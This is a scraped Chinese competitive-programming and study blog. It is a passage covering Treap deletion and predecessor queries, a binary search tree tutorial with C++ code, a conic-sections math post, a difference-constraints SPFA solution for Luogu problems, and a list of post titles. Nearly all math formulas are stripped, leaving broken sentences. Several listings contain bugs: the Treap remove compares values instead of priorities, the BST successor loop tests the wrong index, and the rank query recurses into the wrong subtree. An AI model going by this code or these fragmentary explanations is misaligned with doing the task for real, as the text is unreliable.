如果不存在右子树，让左子树替代它，直接把它删除。
如果不存在左子树，让右子树替代它，直接把它删除。
如果出现“左大右小”，则右旋。
如果出现“左小右大”，则左旋。
如果不在以上所有情况中，代表已经到达叶子节点，直接删除。

可以发现前三点与一般的是一模一样的，后三点就是平衡树的独特之处。

1
void remove(int &idx, int dat) {
2
    if (!idx) return;
3
    if (tree[idx].dat == dat) {
4
        if (tree[idx].cnt > 1) tree[idx].cnt--;                         // CASE 1
5
        else {
6
            if (!tree[idx].ls) idx = tree[idx].rs;                      // CASE 2
7
            else if (!tree[idx].rs) idx = tree[idx].ls;                 // CASE 3
8
            else if (tree[idx].ls && tree[idx].rs) {
9
                if (leftSubtree(idx).dat > rightSubtree(idx).dat) {     // CASE 4
10
                    zig(idx);
11
                    remove(tree[idx].rs, dat);
12
                } else if (rightSubtree(idx).rnd > leftSubtree(idx).rnd) {// CASE 5
13
                    zag(idx);
14
                    remove(tree[idx].ls, dat);
15
                }
16
            } else idx = 0;                                             // CASE 6
17
        }
18
    }
19
    if (tree[idx].dat > dat) remove(tree[idx].ls, dat);
20
    else remove(tree[idx].rs, dat);
21
}

展开收起

前驱 & 后继Precursor & Successor#

在模板题里，题面没有保证所查询前驱的点一定存在于树之中。原先基于查询目标点，再不断深入子树的方法就不再适用。这里介绍一种新的基于递归全树的方法。

以求前驱为例，需要满足以下几点要求：

如果下标无意义，返回负无穷
如果当前根节点大于等于所给值，证明目标点和它的前驱在左子树中，递归查找
否则，当前点就已经满足小于目标点的性质，作为前驱的潜力候选者，与在右子树查找的结果取最大值

这些要求都很简单明了，不再过多解释。

1
int precursor(int idx, int dat) {
2
    if (!idx) return -INT_MAX;
3
    if (tree[idx].dat >= dat) return precursor(tree[idx].ls, dat);
4
    return max(tree[idx].dat, precursor(tree[idx].rs, dat));
5
}
6

7
int successor(int idx, int dat) {
8
    if (!idx) return INT_MAX;
9
    if (tree[idx].dat <= dat) return successor(tree[idx].rs, dat);
10
    return min(tree[idx].dat, successor(tree[idx].ls, dat));
11
}

有关排名查询、数值查询的求解代码均与模板相同，此处不再浪费篇幅。

典例演练Pratical Examples#

洛谷 P3369 [模板] 普通平衡树#

题目地址：P3369

题目难度：提高+/省选-

您需要写一种数据结构（可参考题目标题），来维护一些数，其中需要提供以下操作：

插入一个数。

删除一个数（若有多个相同的数，应只删除一个）。

定义排名为比当前数小的数的个数。查询的排名。

查询数据结构中排名为的数。

求的前驱（前驱定义为小于，且最大的数）。

求的后继（后继定义为大于，且最小的数）。

对于操作 3,5,6，不保证当前数据结构中存在数。
输入格式：
第一行为，表示操作的个数,下面行每行有两个数和，表示操作的序号（）
输出格式：
对于操作每行输出一个数，表示对应答案。
数据范围： 对于的数据，，
来源：Tyvj1728 原名：普通平衡树
在此鸣谢

同样是模板题，为了节省篇幅，代码在我的云剪切板。

你怎么知道我调了一整天才调出来的

后记 & 鸣谢Epilogue & Special Thanks#

和我开始打是一样的，各种奇奇妙妙的错误那是接二连三……最后发现是自己被 OI Wiki 上的一段“不合情势的代码”给误导了。或许那段代码在编写者那里就可以轻松通过，但是在我这就不一定行，显然是普通二叉树的数据太水，错误代码也可以通过。

在这里仍然需要致谢：

耗费一下午对拍造数据的—— DWHJHY

参考资料：

[1] DWHJHY.树堆-TREAP [EB/OL] .https://www.luogu.com/article/ugcagegy, 2024-4-17/2024-7-15

[2] Brailliant11001.入门平衡树——Treap [EB/OL] .https://www.luogu.com/article/tyvidvb6, 2024-2-1/2024-7-15

二叉搜索树 BST

Sun, 14 Jul 2024 09:12:05 GMT

二叉搜索树简介A Brief Introduction#

二叉搜索树Binary Search Tree是一种特殊的二叉树，它有如下的性质：

左儿子（如果存在）的节点值比当前节点的值要小
右儿子（如果存在）的节点值比当前节点的值更大
某个节点的左/右子树（如果存在）也为一个二叉搜索树
中序遍历得到的节点值序列是不下降的（属于是推论）

二叉搜索树是很多重要树形数据结构的理论基础，例如树堆Treap、红-黑树Red-Black Tree、伸展树Splay等等。

二叉搜索树的实现In-Code Practice#

对于一个树形数据结构，我们首先需要明确它的建树操作，这相当于一栋大楼的基石；其次考虑它的节点操作，即单个点的增加、删除、求值等，相当于盖楼的承重柱，有骨梁的作用；最后是它的应用范围，好比给大楼装上玻璃。我们接下来从以上三个方面实现一个普通的二叉搜索树——

宏定义目录Macro Index#

把可能会用到的宏定义函数放在开头：

宏名称	定义	作用
`leftSubtree(idx)`	`tree[tree[idx].ls]`	获取当前节点的左子树对象
`rightSubtree(idx)`	`tree[tree[idx].rs]`	类似上边，获取右子树对象
`NEGAINF_NODE`	`2`	记录负无穷边界节点的下标
`POSIINF_NODE`	`1`	记录正无穷边界节点的下标

基本结构Basic Structure Definition#

我们知道二叉树是可能会有左右子节点的，因此需要设计两个变量存储左右子节点的下标；点的权值也是我们需要关心的；为了应对可能出现的权值重复，我们可以考虑加入一个权值计数，让相同权值的点不会被加入两次；最后为了应对一些题目的要求，维护一个记录子树总点数的变量。结构体看起来大概是这样的：

1
struct BST {
2
// Some macro definitions, see the table above
3
#define leftSubtree(idx) (tree[tree[idx].ls])
4
#define rightSubtree(idx) (tree[tree[idx].rs])
5
#define NEGAINF_NODE 2
6
#define POSIINF_NODE 1
7
    int ls, rs; // Index for left/right sons
8
    int dat;    // Data carried by the node or simply a node value
9
    int cnt;    // Count in case there's a duplicated value
10
    int size;   // Total child nodes
11
} tree[N];
12
int root;       // Record the root node index, normally it's 1

建树&单点创建Build & Node Allocating #

写有一个不成文的规矩：在建树时加入两个边界节点正无穷和负无穷，其中一个作为树的根节点，选哪个都可以。我选择将正无穷作为根节点，根据定义，负无穷节点应是它的左儿子。特别地，我们称只包含正/负无穷节点的为空。因此建树只需创建两个无穷节点即可，注意对于初始建立的无穷权节点，实际上是不会包含在中的，因此设立一个特判，将它们的重复计数设为，否则在计算排名时会出错。

接下来就是单点的创建了。在中，我们使用类似于链式前向星的方法创建某个点。关键代码如下：

1
int idx = 0, root;
2

3
int allocate(int dat, bool on_init = false) {
4
    idx++;
5
    tree[idx].dat = dat;
6
    tree[idx].cnt = (on_init) ? 0 : 1;     // Process duplication count with special judge
7
    tree[idx].size = 1;                    // Add to subnode count
8
    return idx;
9
}
10

11
void build() {
12
    allocate(INF);
13
    allocate(-INF);
14
    root = 1;           // Take the first node as root. It's positive infinity
15
    tree[1].ls = 2;     // According to the passage, negative infinity should be the left son
16
}

展开收起

为 allocate() 函数设返回值大概是它与链式前向星最大的区别点了，后文会讲到设返回值的妙用。

单点查询Index Query#

根据开头介绍的的性质，写这个就非常简单了。主要分以下几个情况考虑（假设目标值为，当前值为，不保证是否存在该权值）：

若，即查询到目标节点，返回下标
若，向左子树递归搜索
若，向右子树递归搜索
若下标无意义，返回不存在（表现在下标为）

1
int query(int idx, int dat) {
2
    if (!idx) return 0;                                            // Nonsense index indicates failure
3
    if (dat == tree[idx].dat) return idx;                           // Found!
4
    if (dat > tree[idx].dat) return query(tree[idx].rs, dat);   // Target is greater than current, recurse to right son
5
    return query(tree[idx].ls, dat);                            // Recurse to left son
6
}

插入数值Value Insertion#

注意：这和前文所述的单点创建并不等价。在这一操作中，我们需要关注已有的其他点的权值情况。在中，是不能出现两个不同的点（下标不同）共享同一份权值的。虽然很多题目会明确指出“本题数据保证不存在权值相同的两个点”，但有时也会出现例外。对于这类例外的题目，前面设立的变量就有用武之地了！

理论上我们可以通过调用 query() 函数来快捷得知该权值的存在性，但是实践时一般不采用这种做法。考虑到先前所讲的几大函数都没有对节点之间的从属关系进行更新，又因为插入操作会涉及到节点之间的关系转换，故将更新左右儿子的操作放在此处。

首先还是需要获取该权值理应存放的位置，求解策略跟单点查询相同。只是我们将递归参数“下标”设为引用形式，这样在一层层向上返回时就可以顺便更新父节点的左右儿子下标了。此时单点创建函数的返回值将作为新建点的序号向上传递，一路更新至根节点。

1
void insert(int &idx, int dat) {
2
    if (!idx) {
3
        idx = allocate(dat); // Does not exist, then allocate a new node
4
        return;
5
    }
6
    if (tree[idx].dat == dat) {
7
        tree[idx].cnt++;     // Encounter a duplicated node, add to its count
8
        return;
9
    }
10
    if (tree[idx].dat < dat) insert(tree[idx].rs, dat);
11
    if (tree[idx].dat > dat) insert(tree[idx].ls, dat);
12
    tree[idx].size = (tree[idx].ls ? leftSubtree(idx).size : 0) + (tree[idx].rs ? rightSubtree(idx).size : 0) + tree[idx].cnt;        // Recursivly update the tree size
13
}

前驱&后继Precursor & Successor Node#

前驱Precursor Node：在所有权值小于当前点权的点之中，权值最大的那一个。

后继Successor Node：在所有权值大于当前点权的点之中，权值最小的那一个。

以求前驱为例（如果权值是给定值的点不存在，我们默认它的前驱是负无穷）：首先我们需要从根节点开始，向下找到给定权值应该存放的位置。如果找到权值是给定值的点，要保证答案点的权值小于基准点，我们就要先向左子树走（树内权值均小于父节点），接着一直沿右子树（树内权值均大于父节点）走到底即可找到前驱。求后继类似，只是需要先找到基准点的右子树，然后一直沿左子树走到底。

因为查询排名和查询数值都有一步查找对应点的步骤，与查找前驱后继的过程相同，故而可以把二者合一以简化代码（见后文）。

1
int precursor(int idx, int dat) {
2
    int res = NEGAINF_NODE; // Negative infinity
3
    while (idx) {
4
        if (tree[idx].dat == dat) {
5
            if (tree[idx].ls) { // Ensure that its left subtree exists
6
                res = tree[idx].ls;
7
                while (tree[idx].rs) res = tree[res].rs;
8
            }
9
            break;
10
        }
11
        if (tree[idx].dat < dat && tree[res].dat < tree[idx].dat) res = idx;
12
        idx = (dat > tree[idx].dat) ? tree[idx].rs : tree[idx].ls;
13
    }
14
    return res;
15
}
16

17
int successor(int idx, int dat) {
18
    int res = POSIINF_NODE; // Positive infinity
19
    while (idx) {
20
        if (tree[idx].dat == dat) {
21
            if (tree[idx].rs) {
22
                res = tree[idx].rs;
23
                while (tree[idx].ls) res = tree[idx].ls;
24
            }
25
            break;
26
        }
27
        if (tree[idx].dat > dat && tree[res].dat > tree[idx].dat) res = idx;
28
        idx = (dat > tree[idx].dat) ? tree[idx].rs : tree[idx].ls;
29
    }
30
    return res;
31
}

展开收起

单点删除Node Deletion#

在一棵合法的中，任意节点的子树也都是一棵合法的，这启示我们不能鲁莽、暴力地删点，而是要好好理清楚节点之间的关系之后，进行一系列操作，最后删除掉这个节点。

对于某个节点，它可能有如下几种情况：

它是一个叶子节点，可以直接删除。
它在一条链上（只有一个子节点）：删除这个点，同时让它的子节点代替它。
它是一个二叉节点（两个子节点）：考虑提出一种方式把问题简化为以上两种特殊情况。首先找到前驱或者后继，因为前驱和后继均只有一个方向上的子树，简化成第二种情况。我们可以让前驱/后继替换要删除的节点，紧接着把替换过去的原节点删除即可！就好像剪贴覆盖的过程。
如果这个点的重复数量大于一，则减去一个重复数。

1
void remove(int &idx, int dat) {
2
    if (!idx) return; // Does not exist
3
    if (tree[idx].dat == dat) {
4
        if (tree[idx].cnt > 1) tree[idx].cnt--; // Dupliacted, then minus one to its count
5
        else {
6
            if (!tree[idx].ls) idx = tree[idx].rs;     // No left subtree, replace it with its left subtree
7
            else if (!tree[idx].rs) idx = tree[idx].ls; // Vice versa
8
            else {
9
                int pre = precursor(idx, dat);   // Find the precursor
10
                remove(pre, tree[pre].dat);      // Remove precursor
11
                tree[pre] = tree[idx];           // Replace
12
                idx = pre;
13
            }
14
            return;
15
        }
16
    }
17
    if (tree[idx].dat > dat) remove(tree[idx].ls, dat);
18
    else remove(tree[idx].rs, dat);
19
}

展开收起

排名查询Rank Query#

所谓排名，就是看有多少元素比你当前的元素大/小，所得数目加一的结果。天生的有序性可以帮助我们高效地解决这一点。与数值查询不同，排名查询时给出的权值可能并不存在于任何点之中。我们的基本求解策略如下：

如果需要向右子树扩展查找，则累加左子树大小和当前根节点的重复次数。
如果当前根节点的权值等于给定权值，则累加左子树大小，并额外加一。
如果需要向左子树扩展，递归返回向左子树查找的结果。

第一点很好理解：对于根节点，它的左子树所有点权都比根节点的小。此时我们需要查询的点权显然是大于当前根节点的（位于右子树），因而左子树、包括当前根节点在内的所有点都会排在目标点之前，需要累加起来。

第二点告诉我们这样一条消息：当前根节点就是目标节点，所以左子树的所有节点都排在它之前，需要累加。这个情况可以看作第一点的特殊形式，必须注意的是，这里无需再累加当前根节点的重复次数。

对于第三点：因为我们不确定左子树的情况（有大有小），因此无需多虑直接递归进去就好。

1
int getRankByData(int idx, int dat) {
2
    if (!idx) return 1;
3
    if (tree[idx].dat == dat) return (tree[idx].ls ? leftSubtree(idx).size : 0) + 1;
4
    if (tree[idx].dat < dat) return (tree[idx].ls ? leftSubtree(idx).size : 0) + getRankByData(tree[idx].rs, dat);
5
    return (tree[idx].ls ? leftSubtree(idx).size : 0) + getRankByData(tree[idx].rs, dat);
6
}

数值查询Data Query#

题目会给定一个排名，让你获取对应排名的节点权值。与上边排名查询不同的是，这里给出的排名必须有一个对应的点，因为排名是离散的、权值不离散，所以这里需要判断无解的情况。基本分五类讨论：

如果左子树的大小（节点的重复数也计入）大于等于所查询的排名参数，向左子树递归。
如果左子树的大小在如下范围内（当前根节点重复数为）：，返回当前根节点的权值。
不在以上三类情况中，向右子树递归，参数减去左子树的大小以及当前根节点的重复数。
当前下标无意义，判无解并返回。

首先，左子树是一定小于当前根节点的。如果左子树的大小都超过了排名参数，就代表目标点在左子树内，继续向左子树递归找排名为的点即可。

对于第二点，当前根节点的重复数为，那么对于根节点这个大集合（相同权值记作不同排名），排名的范围就是。因此一旦满足该关系直接返回。

最后是第三点，因为左子树的大小与根节点重复数的和小于当前排名，代表我们要找的点在右子树。在右子树中它的排名又是多少呢？显然，因为左子树和根节点占去了一部分排名，在右子树中，它的排名就需要减去这二者的和。

第四点属于无解判断，不再赘述。

1
int getDataByRank(int idx, int rank) {
2
    if (!idx) return -1;
3
    if (leftSubtree(idx).size >= rank) return getDataByRank(tree[idx].ls, rank);
4
    if (leftSubtree(idx).size + tree[idx].cnt >= rank) return tree[idx].dat;
5
    return getDataByRank(tree[idx].rs, rank - (tree[idx].ls ? leftSubtree(idx).size : 0) - tree[idx].cnt);
6
}

典例演练Pratical Examples#

洛谷 P5076 [深基16.例7] 普通二叉树（简化版）#

题目地址：P5076

题目难度：普及+/提高

您需要写一种数据结构，来维护一些数（都是绝对值以内的数）的集合，最开始时集合是空的。其中需要提供以下操作，操作次数不超过：

定义数的排名为集合中小于的数的个数。查询数的排名。注意不一定在集合里。

查询排名为的数。保证集合里至少有个数。

求的前驱（前驱定义为小于，且最大的数）。若不存在则输出。

求的后继（后继定义为大于，且最小的数）。若不存在则输出。

插入一个数，本题的数据保证插入前不在集合中。

保证执行操作时，集合中有至少一个元素。
输入格式：
第一行是一个整数，表示操作次数。
接下来行，每行两个整数，分别表示操作序号以及操作的参数。
输出格式：
输出有若干行。对于操作，输出一个整数，表示该操作的结果。

这是一道模板题，套用上边的模板即可（甚至不涉及节点删除）。为了压缩篇幅，代码放在此处。

你怎么知道我花了三节晚自习+一个上午过样例、大半个下午调代码？（因为查询数值时没判断是否是边界节点）

常见问题Q & A#

Q：为什么初始的两个边界节点需要设置它们的重复计数为？

从实际意义上说，这两个点其实并不参与我们的一系列树上操作。它们只是起到一个防止溢出的作用——好比人体的阑尾，对消化吸收并没有什么帮助，但是它就是长在那个地方就是用来发炎的，你也不好说什么（doge）。

Q：的时间复杂度？为什么我用会超时？

的时间复杂度最好情况下是；最坏可能退化成。

由于的形态与节点的插入顺序相关，如果插入的数据高度有序，最坏情况下整棵树是一条链状结构，会退化成的复杂度（相当于开一维数组跑暴力）。为了应对这种左右子树不平衡的问题，人们提出了诸如平衡树Treap的数据结构，采用随机化数据来保持左右子树的平衡性，这样一来整体时间复杂度是稳定在左右的。人们为了让不被极端数据卡死，提出了平衡树（或树堆），见下一篇博客

后记&致谢Epilogue & Special Thanks#

在写这篇文章的时候，经历了许多挫折……先是电脑意外关机，写了一千多字的草稿没保存直接没了；然后是注销电脑前望保存草稿，写了那么多，又一下子没了……为了保证代码的正确性，在做P5076的时候硬是顶着莫名的RE和WA把代码调出来了……

当然，调我又臭又长的数据结构代码是需要很大耐心和毅力的（以及心理承受能力）。这期间需要感谢：

花半小时用控制变量法拯救我的RE代码的—— Brailliant11001
花半小时理解我的代码，提出Hack数据来警示我的—— DWHJHY
花重金买来一大包（450g装）薯片为我们疲惫的大脑补充营养的—— Aventurine_Stone

参考资料：

[1] DWHJHY.二叉搜索树（BST）-BINARY SEARCH TREE [EB/OL] .https://www.luogu.com/article/vqr2u9g2 ,2024-4-12/2024-7-14

[2] Brailliant11001.二叉搜索树（BST）[EB/OL] .https://www.luogu.com/article/zqha49ef ,2024-1-31/2024-7-14

[奇技淫巧] 如何优雅地秒圆锥曲线大题

Sat, 29 Jun 2024 07:21:12 GMT

前言#

他只需略微现身，考生瞬间变圆神；只需给他一个不定参，他能把数学题做成英语题；给他一个定值证明，他能逼出考生使用伪证大法。不是含参韦达算不起，而是伪证算法更有性价比。有人说椭圆双曲线简单，新高考I卷丝带线表示不服。对此，五星上将麦克阿瑟评价道：“如果当年美军的考试卷没有圆锥曲线压轴题，美军战士一定能在圣诞节之前回家”。那么，圆锥曲线到底有何魔力？大型纪录片《圆锥曲线传奇》持续为您播出……

向量叉乘#

2024 新高考 I 卷 T16
已知和为椭圆上两点。

求的离心率

若过的直线交于另一点，且的面积为，求的方程

首先根据题目数据联立方程解得圆锥曲线方程：，因此椭圆的离心率就是。

第二题一般都是设出直线方程并联立求解。考虑到这里给出了三角形上两点和一个面积，毅然使用向量叉乘试水！

向量叉乘的定义为。可以理解为平面直角坐标系上两个向量围成的平行四边形面积，是一个只有大小的标量。这篇文章提到了有关向量叉乘的一些内容。简而言之，叉乘的简记方法是：将两个向量平铺在两行，变成的形式，然后“斜线相乘再相减”，即的绝对值就是叉乘运算的结果。

因为三角形的面积等于向量围成的平行四边形面积的一半，也就是说。设出点坐标为，得到：

把用表示出来（或反之）马上就可以解得或。因此两个直线方程就是或。

把叉乘写上去之前需要先证明其正确性（毕竟高中课本里面没教过），证明方法很简单：

假设，。就有：

差分约束

Wed, 26 Jun 2024 09:26:10 GMT

差分约束系统理论基础#

我们称形如下面给出的多元一次不等式组为一个差分约束系统：

它包含个未知数，以及个约束条件，每个约束条件是由两个未知数作差构成的不等式。

求解这个不等式组，我们首先考虑移项，例如第一个不等式变成：。联想到最短路的三角不等式，即，这个方程组可以转化为一个最短路问题。具体到第一个不等式，就是创建边，边权为。在读入所有不等关系后在建出的图上做最短路即可。

最短路的源点首先要能遍历到所有的边，若某个点遍历不到所有的边，部分点的最短路值显然不能正确更新，导致整体错误。一般来说考虑建立虚拟源点代替。

如果原图存在负环，假设是下图的形式：

那么就有：，可以进一步放缩，因为，所以，而又可以接着放缩，依此类推……当放缩到时，原式已然变成了：

最后放缩得显然有矛盾。因此当出现负环时就判断无解。

否则，每个点的最短路径长就是原不等式组的一组可行解。特殊地，给定一个实数，让所有未知数同时加/减去这个常数得到的新答案组也是成立的。

以 P5960 差分约束模板为例，给出求解代码：

1
#include <bits/stdc++.h>
2

3
#define N 5010
4
#define M 5010
5
using namespace std;
6

7
struct Edge {
8
    int to, ne, w;
9
} edges[M];
10
int h[N], idx = 0;
11
int n, m;
12
int dist[N], cnt[N];
13
bool st[N];
14

15
void add(int u, int v, int w) {
16
    idx++;
17
    edges[idx].to = v;
18
    edges[idx].ne = h[u];
19
    edges[idx].w = w;
20
    h[u] = idx;
21
}
22

23
bool spfa() {
24
    memset(dist, 0x3f, sizeof dist);
25

26
    queue<int> q;
27
    for(int i = 1; i <= n; i++) {
28
        q.push(i);
29
        st[i] = true;
30
        dist[i] = 0;
31
    }
32

33
    while (!q.empty()) {
34
        int t = q.front();
35
        q.pop();
36

37
        st[t] = false;
38
        for (int i = h[t]; ~i; i = edges[i].ne) {
39
            int j = edges[i].to;
40
            if (dist[j] > dist[t] + edges[i].w) {
41
                dist[j] = dist[t] + edges[i].w;
42
                cnt[j] = cnt[t] + 1;
43
                if (cnt[j] >= n) return false;
44
                if (!st[j]) {
45
                    st[j] = true;
46
                    q.push(j);
47
                }
48
            }
49
        }
50
    }
51
    return true;
52
}
53

54
int main() {
55
    ios::sync_with_stdio(false);
56
    cin.tie(nullptr);
57
    cout.tie(nullptr);
58

59
    memset(h, -1, sizeof h);
60

61
    cin >> n >> m;
62
    while (m--) {
63
        int u, v, w;
64
        cin >> v >> u >> w;
65
        add(u, v, w);
66
    }
67
    if (!spfa()) cout << "NO" << endl;
68
    else {
69
        for (int i = 1; i <= n; i++) cout << dist[i] << ' ';
70
    }
71
    return 0;
72
}

展开收起

那么如何求出未知数的最值呢？当所求为未知数的最大值时，最短路径长度就是最小解；反之最长路径长度为最大解。

首先该不等式组必须有解，因此所有不等式可以排列成一串。此时显然最小值是，但最大值就不是正无穷了，可以发现它的最大值是不等号连接的每一项的最小值。也就是到达这个点的最短路径长度；反之就是最长路径长度，此时图中若存在正环则无解。

差分约束典例#

洛谷 P3275 [SCOI2011] 糖果#

四川OI有很多典中典的题目，不只是这一道，包括繁忙的都市、k短路、方伯伯运椰子、序列操作等都是四川OI的杰作

题目地址：P3275

题目难度：提高+/省选-

题目来源：各省省选四川 2011

幼儿园里有个小朋友，老师现在想要给这些小朋友们分配糖果，要求每个小朋友都要分到糖果。但是小朋友们也有嫉妒心，总是会提出一些要求，比如小明不希望小红分到的糖果比他的多，于是在分配糖果的时候，需要满足小朋友们的个要求。幼儿园的糖果总是有限的，想知道他至少需要准备多少个糖果，才能使得每个小朋友都能够分到糖果，并且满足小朋友们所有的要求。
输入格式
输入的第一行是两个整数，。接下来行，表示这些点需要满足的关系，每行个数字，，，。

如果，表示第个小朋友分到的糖果必须和第个小朋友分到的糖果一样多；

如果，表示第个小朋友分到的糖果必须少于第个小朋友分到的糖果；

如果，表示第个小朋友分到的糖果必须不少于第个小朋友分到的糖果；

如果，表示第个小朋友分到的糖果必须多于第个小朋友分到的糖果；

如果，表示第个小朋友分到的糖果必须不多于第个小朋友分到的糖果；

输出格式：
输出一行，表示老师至少需要准备的糖果数，如果不能满足小朋友们的所有要求，就输出。
数据范围：
对于的数据，保证
对于的数据，保证
对于所有的数据，保证

根据题目中给出的五种大小关系，可以列出如下不等式组：

可以直接按照上一节所说的方式建图，注意第一种情况相当于建边权为的双向边。

题目中还有一个要求——“每个小朋友都要分到糖果”，转换一下就是。那么像这种要求解必须大于一个常数的情况该怎么样操作呢？

考虑到建立虚拟源点，并令，则原式化为。因此建立边权为的边即可。因为要求出所有未知数的最小值，因此要跑最长路，同时无解的判断就是存在正环。在里，做最长路就是把松弛操作的不等号换向，同时初始化距离为正无穷。

JustPureH2O 的博客

未来流水账｜待办记录

2025#

2026#

其他待办事项（日期未定，实装未定）：#

9331 物语：高中生物遗传学浅究

前言：如何阅读本文 & 引用须知#

前置知识#

积事件、和事件、条件概率与全概率#

一对、两对与多对等位基因的遗传#

一对等位基因的遗传#

两对等位基因的遗传#

为什么我选择迁移博客到 Astro

2026 春晚数字魔术解密

顺序梳理#

核心诡计#

观后感#

[秋星曜野 桂月垂光] 星野模型提取

为什么会有这篇文章#

获取 H5 活动 URL#

截获请求 提取文件#

[论导必洛] 高中数学导数常见题型及解题策略详解

前言#

如何求导#

初等函数求导法则#

导函数的四则运算#

零点存在性定理#

解题策略#

参变分离#

倒数法#

洛必达法则*#

不定式#

端点效应/必要性探路#

隐零点#

切割线放缩#

极值点偏移#

墙

高中生物 聚合酶链式反应 PCR

前言#

PCR 基本知识#

PCR 中的数量关系#

反向 PCR 技术#

大引物 PCR 技术#

高中语文大考作文AI升格范文积累

科技绘就斑斓画卷 精神涵养丰盈人生#

和合共生启新局 南联北融筑大同#

铭英雄于街巷兮 铸精神于山河#

内核如锚定沧海 心灯长明照征途#

形式为叶缀文章 内在乃本立风骨#

电阻六讲 高中物理测量未知电阻实验总结

前言#

前置 分压与限流#

何为限流式/分压式#

为什么选择分压式#

伏安法#

何为内接法/外接法#

选择依据#

图像分析#

欧姆表测量法#

欧姆表基本原理#

欧姆表基本操作#

欧姆表的特殊值#

电桥法测电阻#

电桥法基本原理#

伏伏法#

伏伏法基本原理#

安安法#

安安法基本原理#

半偏法#

限流式半偏法 / 电流表半偏法#

分压式半偏法 / 电压表半偏法#

误差分析#

后记 & 闲话#

网图溯源导论

前言#

Google Lens/谷歌智能镜头#

基本使用#

优劣总结#

课后练习#

SauceNAO+Pixiv.re#

[秋星曜野桂月垂光] 星野模型提取

截获请求提取文件#

高中生物聚合酶链式反应 PCR

科技绘就斑斓画卷精神涵养丰盈人生#

和合共生启新局南联北融筑大同#

铭英雄于街巷兮铸精神于山河#

内核如锚定沧海心灯长明照征途#

形式为叶缀文章内在乃本立风骨#

电阻六讲高中物理测量未知电阻实验总结

前置分压与限流#

课后练习答案#

圆锥曲线解题指导及二级结论

椭圆基础二级结论#

双曲线基础二级结论#

抛物线基础二级结论#